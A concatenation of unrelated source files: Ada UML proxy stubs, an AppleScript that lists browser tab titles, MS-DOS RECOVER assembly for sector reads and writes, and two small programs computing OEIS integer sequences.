(AMF.Internals.Tables.UML_Attributes.Internal_Get_Template_Binding (Self.Element))); end Get_Template_Binding; ----------------------------------- -- Get_Owning_Template_Parameter -- ----------------------------------- overriding function Get_Owning_Template_Parameter (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Template_Parameters.UML_Template_Parameter_Access is begin return AMF.UML.Template_Parameters.UML_Template_Parameter_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Owning_Template_Parameter (Self.Element))); end Get_Owning_Template_Parameter; ----------------------------------- -- Set_Owning_Template_Parameter -- ----------------------------------- overriding procedure Set_Owning_Template_Parameter (Self : not null access UML_Operation_Proxy; To : AMF.UML.Template_Parameters.UML_Template_Parameter_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Owning_Template_Parameter (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Owning_Template_Parameter; ---------------------------- -- Get_Template_Parameter -- ---------------------------- overriding function Get_Template_Parameter (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Template_Parameters.UML_Template_Parameter_Access is begin return AMF.UML.Template_Parameters.UML_Template_Parameter_Access (AMF.Internals.Helpers.To_Element (AMF.Internals.Tables.UML_Attributes.Internal_Get_Template_Parameter (Self.Element))); end Get_Template_Parameter; ---------------------------- -- Set_Template_Parameter -- ---------------------------- overriding procedure Set_Template_Parameter (Self : not null access UML_Operation_Proxy; To : AMF.UML.Template_Parameters.UML_Template_Parameter_Access) is begin AMF.Internals.Tables.UML_Attributes.Internal_Set_Template_Parameter (Self.Element, AMF.Internals.Helpers.To_Element (AMF.Elements.Element_Access (To))); end Set_Template_Parameter; ------------------------ -- Is_Consistent_With -- ------------------------ overriding function Is_Consistent_With (Self : not null access constant UML_Operation_Proxy; Redefinee : AMF.UML.Redefinable_Elements.UML_Redefinable_Element_Access) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Consistent_With unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Is_Consistent_With"; return Is_Consistent_With (Self, Redefinee); end Is_Consistent_With; ---------------- -- Is_Ordered -- ---------------- overriding function Is_Ordered (Self : not null access constant UML_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Ordered unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Is_Ordered"; return Is_Ordered (Self); end Is_Ordered; --------------- -- Is_Unique -- --------------- overriding function Is_Unique (Self : not null access constant UML_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Unique unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Is_Unique"; return Is_Unique (Self); end Is_Unique; ----------- -- Lower -- ----------- overriding function Lower (Self : not null access constant UML_Operation_Proxy) return Integer is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Lower unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Lower"; return Lower (Self); end Lower; ----------- -- Types -- ----------- overriding function Types (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Types.UML_Type_Access is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Types unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Types"; return Types (Self); end Types; ----------- -- Upper -- ----------- overriding function Upper (Self : not null access constant UML_Operation_Proxy) return AMF.Unlimited_Natural is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Upper unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Upper"; return Upper (Self); end Upper; ----------------------------- -- Is_Distinguishable_From -- ----------------------------- overriding function Is_Distinguishable_From (Self : not null access constant UML_Operation_Proxy; N : AMF.UML.Named_Elements.UML_Named_Element_Access; Ns : AMF.UML.Namespaces.UML_Namespace_Access) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Distinguishable_From unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Is_Distinguishable_From"; return Is_Distinguishable_From (Self, N, Ns); end Is_Distinguishable_From; ----------------------------------- -- Is_Redefinition_Context_Valid -- ----------------------------------- overriding function Is_Redefinition_Context_Valid (Self : not null access constant UML_Operation_Proxy; Redefined : AMF.UML.Redefinable_Elements.UML_Redefinable_Element_Access) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Redefinition_Context_Valid unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Is_Redefinition_Context_Valid"; return Is_Redefinition_Context_Valid (Self, Redefined); end Is_Redefinition_Context_Valid; ------------------------- -- All_Owning_Packages -- ------------------------- overriding function All_Owning_Packages (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Packages.Collections.Set_Of_UML_Package is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "All_Owning_Packages unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.All_Owning_Packages"; return All_Owning_Packages (Self); end All_Owning_Packages; --------------- -- Namespace -- --------------- overriding function Namespace (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Namespaces.UML_Namespace_Access is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Namespace unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Namespace"; return Namespace (Self); end Namespace; ------------------------ -- Exclude_Collisions -- ------------------------ overriding function Exclude_Collisions (Self : not null access constant UML_Operation_Proxy; Imps : AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element) return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Exclude_Collisions unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Exclude_Collisions"; return Exclude_Collisions (Self, Imps); end Exclude_Collisions; ------------------------- -- Get_Names_Of_Member -- ------------------------- overriding function Get_Names_Of_Member (Self : not null access constant UML_Operation_Proxy; Element : AMF.UML.Named_Elements.UML_Named_Element_Access) return AMF.String_Collections.Set_Of_String is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Get_Names_Of_Member unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Get_Names_Of_Member"; return Get_Names_Of_Member (Self, Element); end Get_Names_Of_Member; -------------------- -- Import_Members -- -------------------- overriding function Import_Members (Self : not null access constant UML_Operation_Proxy; Imps : AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element) return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Import_Members unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Import_Members"; return Import_Members (Self, Imps); end Import_Members; --------------------- -- Imported_Member -- --------------------- overriding function Imported_Member (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Packageable_Elements.Collections.Set_Of_UML_Packageable_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Imported_Member unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Imported_Member"; return Imported_Member (Self); end Imported_Member; --------------------------------- -- Members_Are_Distinguishable -- --------------------------------- overriding function Members_Are_Distinguishable (Self : not null access constant UML_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Members_Are_Distinguishable unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Members_Are_Distinguishable"; return Members_Are_Distinguishable (Self); end Members_Are_Distinguishable; ------------------ -- Owned_Member -- ------------------ overriding function Owned_Member (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Named_Elements.Collections.Set_Of_UML_Named_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Owned_Member unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Owned_Member"; return Owned_Member (Self); end Owned_Member; ----------------- -- Is_Template -- ----------------- overriding function Is_Template (Self : not null access constant UML_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Template unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Is_Template"; return Is_Template (Self); end Is_Template; ---------------------------- -- Parameterable_Elements -- ---------------------------- overriding function Parameterable_Elements (Self : not null access constant UML_Operation_Proxy) return AMF.UML.Parameterable_Elements.Collections.Set_Of_UML_Parameterable_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Parameterable_Elements unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Parameterable_Elements"; return Parameterable_Elements (Self); end Parameterable_Elements; ------------------------ -- Is_Compatible_With -- ------------------------ overriding function Is_Compatible_With (Self : not null access constant UML_Operation_Proxy; P : AMF.UML.Parameterable_Elements.UML_Parameterable_Element_Access) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Compatible_With unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Is_Compatible_With"; return Is_Compatible_With (Self, P); end Is_Compatible_With; --------------------------- -- Is_Template_Parameter -- --------------------------- overriding function Is_Template_Parameter (Self : not null access constant UML_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Template_Parameter unimplemented"); raise Program_Error with "Unimplemented procedure UML_Operation_Proxy.Is_Template_Parameter"; return Is_Template_Parameter (Self); end Is_Template_Parameter; end AMF.Internals.UML_Operations;
src/osascripts/application-tab-titles.applescript
jokajak/ki
83
3607
-- AppleScript template for returning a record of application tab titles keyed by window id -- `application` - name of any tabbable application (with AppleScript support) tell application "{{application}}" set windowTabTitles to {} set windowList to every window repeat with appWindow in windowList set ok to true set tabTitles to {} set appId to (id of appWindow as number) try set tabList to every tab of appWindow on error errorMessage set ok to false end try if ok then repeat with tabItem in tabList set tabURL to URL of tabItem set escapedTabTitle to my replaceString(name of tabItem, "\"", "\\\"") set tabTitles to tabTitles & ("\"" & (escapedTabTitle) & " (" & tabURL & ")" & "\"" as string) end repeat end if set AppleScript's text item delimiters to ", " set delimitedTitles to tabTitles as string set AppleScript's text item delimiters to "" set titles to run script "{|" & appId & "|:{" & (delimitedTitles as string) & "}}" set windowTabTitles to windowTabTitles & titles end repeat return windowTabTitles end tell on replaceString(targetText, searchString, replacementString) set AppleScript's text item delimiters to the searchString set the itemList to every text item of targetText set AppleScript's text item delimiters to the replacementString set targetText to the itemList as string set AppleScript's text item delimiters to "" return targetText end replaceString
cmd/recover/recproc.asm
minblock/msdos
0
91721
page ,132 ; TITLE RECPROC.ASM ;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ;***************************************************************************** ; Include files ;***************************************************************************** .xlist include recseg.inc ;AN000;bgb include dossym.inc ;AN000;bgb INCLUDE SYSCALL.INC ;AN000;bgb INCLUDE RECMACRO.INC ;AN000;bgb include recequ.inc ;AN000;bgb include pathmac.inc .xcref BREAK MACRO subtitle SUBTTL subtitle PAGE ENDM .cref ; ;***************************************************************************** ; Extrn Declarations ;***************************************************************************** data segment PUBLIC para 'DATA' ;AC000;bgb EXTRN secs_per_64k:word EXTRN paras_per_fat:word EXTRN paras_per_64k:word EXTRN bytes_per_sector:word EXTRN sec_count:word EXTRN OFMSG_PTR:WORD EXTRN y_value_lo:WORD ;AN000;bgb EXTRN y_value_hi:WORD ;AN000;bgb ; AC000;SM EXTRN x_value_lo:WORD ;AN000;bgb ; AC000;SM EXTRN x_value_hi:WORD ;AN000;bgb ; AC000;SM EXTRN dbcs_vector:byte ;AN000;bgb ; AC000;SM EXTRN dbcs_vector_off:word ;AN000;bgb ; AC000;SM EXTRN dbcs_vector_seg:word ;AN000;bgb ; AC000;SM EXTRN filsiz:WORD ;AN000;bgb EXTRN read_write_relative:byte ;AN000;bgb data ends ;AC000;bgb ;***************************************************************************** ; recproc procedures ;***************************************************************************** code segment public para 'CODE' ;AC000;bgb pathlabl recproc public report ;AN000;bgb public Read_Disk ;AN000;bgb public Write_Disk ;AN000;bgb public Build_String ;AN000;bgb public ChANge_BlANks ;AN000;bgb public Check_DBCS_CharACter ;AN000;bgb .list ;****************************************** ; Prints the XXX of YYY bytes recovered message. ; The XXX value is a dword at di+16 on entry. ; The YYY value is a dword (declared as a word) at filsiz. ;************************************************************* Procedure report,near ; ;AN000;bgb lea dx,ofmsg_ptr mov si,[di+16] ;Get the XXX value mov x_value_lo,si mov di,[di+18] mov x_value_hi,di mov si,filsiz ;Get the YYY value mov y_value_lo,si mov di,filsiz+2 mov y_value_hi,di call display_interface ; AC000;SM ret report endp ;========================================================================= ;an005;bgb ; READ_DISK : This routine reads the logical sector count requested. ;an005;bgb ; It will read a maximum of 64k in one read. If more ;an005;bgb ; than 64k exists it will continue looping until ;an005;bgb ; all sectors have been read. ;an005;bgb ; ;an005;bgb ; Inputs : AL - Drive letter ;an005;bgb ; ES:BX - Segment:offset of transfer address ;an005;bgb ; CX - Sector count ;an005;bgb ; DX - 1st sector ;an005;bgb ; ;an005;bgb ; Outputs : Logical sectors read ;an005;bgb ; LOGIC ;an005;bgb ; ***** ;an005;bgb ; adjust es:bx to es:00 ;an005;bgb ; calcluate sectors-per-64k (how many sectors are there that can fit within a 64k segment?) ; DO while there are more sectors to read than sectors-per-64k ;an005;bgb ; set sector-count to sectors-per-64k ;an005;bgb ; perform the disk read ;an005;bgb ; bump the seg addr to the new addr ;an005;bgb ; dec the number of sectors to read by sectors-per-64k ;an005;bgb ; bump the starting sector number by the sectors-per-64k ;an005;bgb ; ENDDO ;an005;bgb ; perform a disk read for less than sectors-per-64k ;an005;bgb ;========================================================================= ;an005;bgb procedure read_disk ;an005;bgb savereg <ax,bx,cx,dx,es> call seg_adj ;an000;calc new seg:off ;an005;bgb call calc_sp64k ;an000;secs/64k ;an005;bgb ; $DO ; do while more than 64k ;an005;bgb $$DO1: cmp cx,secs_per_64k ;an000;exceed 64k ;an005;bgb ; $LEAVE LE ;an000;yes ;an005;bgb JLE $$EN1 mov sec_count,cx ;an000;save cx ;an005;bgb mov cx,secs_per_64k ;an000;get maximum read ;an005;bgb call read_once ;an000;read it ;an005;bgb ; $LEAVE C ;an005;bgb JC $$EN1 mov cx,es ;an005;bgb add cx,paras_per_64k ; adjust transfer area ;an005;bgb mov es,cx ;an005;bgb mov cx,sec_count ; restore sector count ;an005;bgb sub cx,secs_per_64k ;an000;get sectors remaining ;an005;bgb add dx,secs_per_64k ;an000;adjust starting sector ;an005;bgb ; $ENDDO ;an005;bgb JMP SHORT $$DO1 $$EN1: call read_once ;an000;read it ;an005;bgb restorereg <es,dx,cx,bx,ax> ret ;an005;bgb read_disk endp ;an005;bgb ;an005;bgb ;an005;bgb ;***************************************************************************** ;an005;bgb ;Routine name: Read_once ;an005;bgb ;***************************************************************************** ;an005;bgb ; ;an005;bgb ;description: Read in data using Generic IOCtl ;an005;bgb ; ;an005;bgb ;Called Procedures: None ;an005;bgb ; ;an005;bgb ; ;an005;bgb ;Change History: Created 5/13/87 MT ;an005;bgb ; ;an005;bgb ;Input: AL = Drive number (0=A) ;an005;bgb ; DS:BX = Transfer address ;an005;bgb ; CX = Number of sectors ;an005;bgb ; Read_Write_Relative.Start_Sector_High = Number of sectors high ;an005;bgb ; DX = logical sector number low ;an005;bgb ; ;an005;bgb ;Output: CY if error ;an005;bgb ; AH = INT 25h error code ;an005;bgb ; ;an005;bgb ;Psuedocode ;an005;bgb ;---------- ;an005;bgb ; Save registers ;an005;bgb ; Setup structure for function call ;an005;bgb ; Read the disk (AX=440Dh, CL = 6Fh) ;an005;bgb ; Restore registers ;an005;bgb ; ret ;an005;bgb ;***************************************************************************** ;an005;bgb Procedure Read_once ; ;an005;bgb savereg <ax,bx,cx,dx,si,di,bp,es,ds> ;Change it to Read relative sect;an005;bgb mov Read_Write_Relative.Buffer_Offset,bx ;Get transfer buffer add ;an005;bgb mov bx,es ; ;AN005;bgb mov Read_Write_Relative.Buffer_Segment,bx ;Get segment ;an005;bgb mov Read_Write_Relative.Number_Sectors,cx ;Number of sec to read ;an005;bgb mov Read_Write_Relative.Start_Sector_Low,dx ;Start sector ;an005;bgb mov bx,offset Read_Write_Relative ; ;an005;bgb mov cx,0FFFFh ;Read relative sector ;an005;bgb INT 25h ;Do the read ;an005;bgb pop dx ;Throw away flags on stack ;an005;bgb restorereg <ds,es,bp,di,si,dx,cx,bx,ax> ;an005;bgb return ;an005;bgb Read_once endp ;an005;bgb ;an005;bgb ;an005;bgb ;========================================================================= ;an005;bgb ; WRITE-DISK : This routine reads the logical sector count requested. ;an005;bgb ; It will read a maximum of 64k in one read. If more ;an005;bgb ; than 64k exists it will continue looping until ;an005;bgb ; all sectors have been read. ;an005;bgb ; ;an005;bgb ; Inputs : AL - Drive letter ;an005;bgb ; ES:BX - Segment:offset of transfer address ;an005;bgb ; CX - Sector count ;an005;bgb ; DX - 1st sector ;an005;bgb ; ;an005;bgb ; Outputs : Logical sectors read ;an005;bgb ; LOGIC ;an005;bgb ; ***** ;an005;bgb ; adjust es:bx to es:00 ;an005;bgb ; calcluate sectors-per-64k (how many sectors are there that can fit within a 64k segment?) ; DO while there are more sectors to read than sectors-per-64k ;an005;bgb ; set sector-count to sectors-per-64k ;an005;bgb ; perform the disk read ;an005;bgb ; bump the seg addr to the new addr ;an005;bgb ; dec the number of sectors to read by sectors-per-64k ;an005;bgb ; bump the starting sector number by the sectors-per-64k ;an005;bgb ; ENDDO ;an005;bgb ; perform a disk read for less than sectors-per-64k ;an005;bgb ;========================================================================= ;an005;bgb procedure write_disk ;an005;bgb mov Read_Write_Relative.Start_Sector_High,bp; ;;an027;bgb;an023;bgb call seg_adj ;an000;calc new seg:off ;an005;bgb ; $DO ; do while more than 64k ;an005;bgb $$DO5: cmp cx,secs_per_64k ;an000;exceed 64k ;an005;bgb ; $LEAVE LE ;an000;yes ;an005;bgb JLE $$EN5 mov sec_count,cx ;an000;save cx ;an005;bgb mov cx,secs_per_64k ;an000;get maximum read ;an005;bgb call write_once ;an000;read it ;an005;bgb ; $LEAVE C ;an005;bgb JC $$EN5 mov cx,es ;an005;bgb add cx,paras_per_64k ; adjust transfer area ;an005;bgb mov es,cx ;an005;bgb mov cx,sec_count ; restore sector count ;an005;bgb sub cx,secs_per_64k ;an000;get sectors remaining ;an005;bgb add dx,secs_per_64k ;an000;adjust starting sector ;an005;bgb ; $ENDDO ;an005;bgb JMP SHORT $$DO5 $$EN5: call write_once ;an000;read it ;an005;bgb ret ;an005;bgb write_disk endp ;an005;bgb ;an005;bgb ;***************************************************************************** ;Routine name: Write_Once ;***************************************************************************** ; ;description: Write Data using int 26 ; ;Called Procedures: None ; ; ;Change History: Created 5/13/87 MT ; ;Input: AL = Drive number (0=A) ; DS:BX = Transfer address ; CX = Number of sectors ; Read_Write_Relative.Start_Sector_High = Number of sectors high ; DX = logical sector number low ; ;Output: CY if error ; AH = INT 26h error code ; ;Psuedocode ;---------- ; Save registers ; Setup structure for function call ; Write to disk (AX=440Dh, CL = 4Fh) ; Restore registers ; ret ;***************************************************************************** Procedure Write_once ; ;AN000;bgb savereg <ax,bx,cx,dx,di,si,bp,es,ds> ;This is setup for INT 26h right;AN000;bgb mov Read_Write_Relative.Buffer_Offset,bx ;Get transfer buffer add ;AN000;bgb mov bx,es ; ;AN005;bgb mov Read_Write_Relative.Buffer_Segment,bx ;Get segment ;AN000;bgb mov Read_Write_Relative.Number_Sectors,cx ;Number of sec to write ;AN000;bgb mov Read_Write_Relative.Start_Sector_Low,dx ;Start sector ;AN000;bgb mov cx,0FFFFh ;Write relative sector ;AN000;bgb lea bx,read_write_relative ; INT 026h ;Do the write ;AN000;bgb pop dx ;flags is returned on the stack;AN000;bgb restorereg <ds,es,bp,si,di,dx,cx,bx,ax> ; ;AN000;bgb ret ; ;AN000;bgb Write_once endp ; ;AN000;bgb ;========================================================================= ;an005;bgb ; SEG_ADJ : This routine adjusts the segment:offset to prevent ;an005;bgb ; address wrap. ;an005;bgb ; ;an005;bgb ; Inputs : bx - Offset to adjust segment with ;an005;bgb ; es - Segment to be adjusted ;an005;bgb ; ;an005;bgb ; Outputs : bx - New offset ;an005;bgb ; es - Adjusted segment ;an005;bgb ;========================================================================= ;an005;bgb procedure seg_adj ;an005;bgb savereg <ax,cx,dx> ;an005;bgb mov ax,bx ;an000;get offset ;an005;bgb mov bx,0010h ;divide by 16 ;an005;bgb xor dx,dx ;an000;clear dx ;an005;bgb div bx ;an000;get para count ;an005;bgb mov bx,es ;an000;get seg ;an005;bgb add bx,ax ;an000;adjust for paras ;an005;bgb mov es,bx ;an000;save new seg ;an005;bgb mov bx,dx ;an000;new offset ;an005;bgb restorereg <dx,cx,ax> ;an005;bgb ret ;an005;bgb seg_adj endp ;an005;bgb ;an005;bgb ;an005;bgb ;========================================================================= ;an005;bgb ; SECS_PER_64K : This routine calculates how many sectors, for this ;an005;bgb ; particular media, will fit into 64k. ;an005;bgb ; ;an005;bgb ; Inputs : DPB_SECTOR_SIZE - bytes/sector ;an005;bgb ; ;an005;bgb ; Outputs : SECS_PER_64K - Sectors / 64k ;an005;bgb ; PARAS_PER_64K - paragraphs per 64k ;an005;bgb ;========================================================================= ;an005;bgb procedure calc_sp64k ;an005;bgb savereg <ax,bx,cx,dx> ;an005;bgb mov ax,0ffffh ;an000;64k ;an005;bgb mov bx,bytes_per_sector ;an000;get bytes/sector ;an005;bgb xor dx,dx ;an000;clear dx ;an005;bgb div bx ;an000;sector count ;an005;bgb mov secs_per_64k,ax ;an000;save sector count ;an005;bgb mov ax,bytes_per_sector ;an000;get bytes/sector ;an005;bgb mov bx,010h ; divide by paras ;an005;bgb xor dx,dx ;an000;clear dx ;an005;bgb div bx ; paras per sector ;an005;bgb mul secs_per_64k ; times sectors ;an005;bgb mov paras_per_64k,ax ; = paras per 64k ;an005;bgb restorereg <dx,cx,bx,ax> ;an000;restore dx ;an005;bgb ret ;an000; ;an005;bgb calc_sp64k endp ;an000; ;an005;bgb ;***************************************************************************** ;Routine name: Build_String ;***************************************************************************** ; ;Description: Build AN ASCIIZ string from the FCB filename input. ; ;Called Procedures: None ; ;ChANge History: Created 6/29/87 MT ; ;Input: DS:SI = String containing FCB input ; ES:DI = Where to build string ; ;Output: ES:DI = Input string starting at first non-blANk charACter ; ;Psuedocode ;---------- ; ; Save regs ; DO ; LEAVE Next charACter is 0,OR ; LEAVE 12th charACter,OR ; Get charACter ; LEAVE BlANk ; Inc counter ; ENDDO ; Set next charACter to 0 ; Restore regs ; ;***************************************************************************** Procedure Build_String ; ;AN000; cld ;Set string ops to up ;AN000; push ax ;Save registers ;AN000; push cx ; " " " " ;AN000; push si ;Save pointer reg ;AN000; xor cx,cx ;Init the counter ;AN000; ; $DO ;Loop until entire string found ;AN000; $$DO9: cmp byte ptr [si],ASCIIZ_END ;Is next charACter 0? ;AN000; ; $LEAVE E,OR ;Yes, end loop ;AN000; JE $$EN9 cmp cx,FCB_Filename_Length ;Looked at 11 chars? ;AN000; ; $LEAVE E,OR ;Yes, end of string ;AN000; JE $$EN9 lodsb ;Nope, get charACter ;AN000; cmp al,BlANk ;Find end of filename? ;AN000; ; $LEAVE E ;Yes, quit looping ;AN000; JE $$EN9 stosb ;Move the char inc cx ;No, inc counter ANd try next ;AN000; ; $ENDDO ; ;AN000; JMP SHORT $$DO9 $$EN9: mov byte ptr [di],ASCIIZ_END ;Make ASCIIZ string ;AN000; pop si ;Get bACk pointer to string ;AN000; pop cx ;Restore regsisters ;AN000; pop ax ; " " " " ;AN000; ret ; ;AN000; Build_String endp ; ;AN000; ;***************************************************************************** ;Routine name: ChANge_BlANks ;***************************************************************************** ; ;Description: ReplACe all DBCS blANks with SBCS blANks ; ;Called Procedures: Check_DBCS_CharACter ; ;ChANge History: Created 6/12/87 MT ; ;Input: DS:SI = ASCIIZ string containing volume label input ; ;Output: DS:SI = ASCIIZ string with all DBCS blANks replACed with 2 SBCS blANks ; ; ;Psuedocode ;---------- ; ; Save pointer to string ; DO ; LEAVE End of string (0) ; See if DBCS charACter (Check_DBCS_CharACter) ; IF CY (DBCS char found) ; IF first byte DBCS blANk, AND ; IF second byte DBCS blANk ; Convert to SBCS blANks ; ENDIF ; Point to next byte to compensate for DBCS charACter ; ENDIF ; ENDDO ; Restore pointer to string ; ;***************************************************************************** Procedure ChANge_BlANks ; ;AN000; ; $DO ;Do while not CR ;AN000; $$DO12: cmp byte ptr [si],Asciiz_End ;Is it end of string? ;AN000; ; $LEAVE E ;All done if so ;AN000; JE $$EN12 call Check_DBCS_CharACter ;Test for dbcs lead byte ;AN000; ; $IF C ;We have a lead byte ;AN000; JNC $$IF14 cmp byte ptr [si],DBCS_Lead ;Is it a lead blANk? ;AN000; ; $IF E,AND ;If a dbcs char ;AN000; JNE $$IF15 cmp byte ptr [si+1],DBCS_BlANk ;Is it AN AsiAN blANk? ;AN000; ; $IF E ;If AN AsiAN blANk ;AN000; JNE $$IF15 mov byte ptr [si+1],BlANk ;set up moves ;AN000; mov byte ptr [si],BlANk ; to replACe ;AN000; ; $ENDIF ; ;AN000; $$IF15: inc si ;Point to dbcs char ;AN000; ; $ENDIF ;End lead byte test ;AN000; $$IF14: inc si ;Point to si+1 ;AN000; ; $ENDDO ;End do while ;AN000; JMP SHORT $$DO12 $$EN12: ret ;return to caller ;AN000; ChANge_BlANks endp ; ;AN000; ;***************************************************************************** ;Routine name: Check_DBCS_CharACter ;***************************************************************************** ; ;Description: Check if specified byte is in rANges of DBCS vectors ; ;Called Procedures: None ; ;ChANge History: Created 6/12/87 MT ; ;Input: AL = CharACter to check for DBCS lead charACter ; DBCS_Vector = YES/NO ; ;Output: CY set if DBCS charACter ; DBCS_VECTOR = YES ; ; ;Psuedocode ;---------- ; Save registers ; IF DBCS vector not found ; Get DBCS environmental vector (INT 21h ; Point at first set of vectors ; ENDIF ; SEARCH ; LEAVE End of DBCS vectors ; EXITIF CharACter > X1,AND (X1,Y1) are environment vectors ; EXITIF CharACter < Y1 ; STC (DBCS charACter) ; ORELSE ; Inc pointer to next set of vectors ; ENDLOOP ; CLC (Not DBCS charACter) ; ENDSRCH ; Restore registers ; ret ;***************************************************************************** Procedure Check_DBCS_CharACter ; ;AN000; push ds ;Save registers ;AN000; push si ; " " " " ;AN000; push ax ; " " " " ;AN000; push ds ; " " " " ;AN000; pop es ;Establish addressability ;AN000; cmp byte ptr es:DBCS_VECTOR,Yes ;Have we set this yet? ;AN000; push ax ;Save input charACter ;AN000; ; $IF NE ;Nope ;AN000; JE $$IF19 mov al,0 ;Get DBCS environment vectors ;AN000; DOS_Call Hongeul ; " " " " ;AN000; mov byte ptr es:DBCS_VECTOR,YES ;Indicate we've got vector ;AN000; mov es:DBCS_Vector_Off,si ;Save the vector ;AN000; mov ax,ds ; ;AN000; mov es:DBCS_Vector_Seg,ax ; ;AN000; ; $ENDIF ; for next time in ;AN000; $$IF19: pop ax ;Restore input charACter ;AN000; mov si,es:DBCS_Vector_Seg ;Get saved vector pointer ;AN000; mov ds,si ; ;AN000; mov si,es:DBCS_Vector_Off ; ;AN000; ; $SEARCH ;Check all the vectors ;AN000; $$DO21: cmp word ptr ds:[si],End_Of_Vector ;End of vector table? ;AN000; ; $LEAVE E ;Yes, done ;AN000; JE $$EN21 cmp al,ds:[si] ;See if char is in vector ;AN000; ; $EXITIF AE,AND ;If >= to lower, ANd ;AN000; JNAE $$IF21 cmp al,ds:[si+1] ; =< thAN higher rANge ;AN000; ; $EXITIF BE ; then DBCS charACter ;AN000; JNBE $$IF21 stc ;Set CY to indicate DBCS ;AN000; ; $ORELSE ;Not in rANge, check next ;AN000; JMP SHORT $$SR21 $$IF21: add si,DBCS_Vector_Size ;Get next DBCS vector ;AN000; ; $ENDLOOP ;We didn't find DBCS char ;AN000; JMP SHORT $$DO21 $$EN21: clc ;Clear CY for exit ;AN000; ; $ENDSRCH ; ;AN000; $$SR21: pop ax ;Restore registers ;AN000; pop si ; " " " " ;AN000; pop ds ;Restore data segment ;AN000; ret ; ;AN000; Check_DBCS_CharACter endp ; ;AN000; pathlabl recproc code ends end 
programs/oeis/247/A247432.asm
neoneye/loda
22
15591
<gh_stars>10-100 ; A247432: Complement of A247431. ; 4,7,11,15,18,22,26,29,33,36,40,44,47,51,54,58,62,65,69,73,76,80,83,87,91,94,98,102,105,109,112,116,120,123,127,130,134,138,141,145,149,152,156,159,163,167,170,174,178,181,185,188,192,196,199,203,206,210 mov $3,$0 add $3,$0 mov $5,$0 div $5,7 sub $3,$5 mov $2,$3 div $2,3 mov $1,$2 add $1,4 mov $4,$0 mul $4,3 add $1,$4 mov $0,$1
programs/oeis/227/A227790.asm
neoneye/loda
22
97735
<gh_stars>10-100 ; A227790: Difference between 3n^2 and the nearest square number. ; 1,3,2,1,6,8,3,4,13,11,2,9,22,12,1,16,26,11,6,25,27,8,13,36,26,3,22,48,23,4,33,47,18,13,46,44,11,24,61,39,2,37,71,32,9,52,66,23,22,69,59,12,37,88,50,1,54,92,39,16,73,83,26,33,94,72,11,52,117,59,6,73,111,44,25,96,98,27,46,121 add $0,1 pow $0,2 mul $0,3 seq $0,53188 ; Distance from n to nearest square.
scripts/.opera-fullscreen-exit.applescript
andrewp-as-is/mac-opera
0
2928
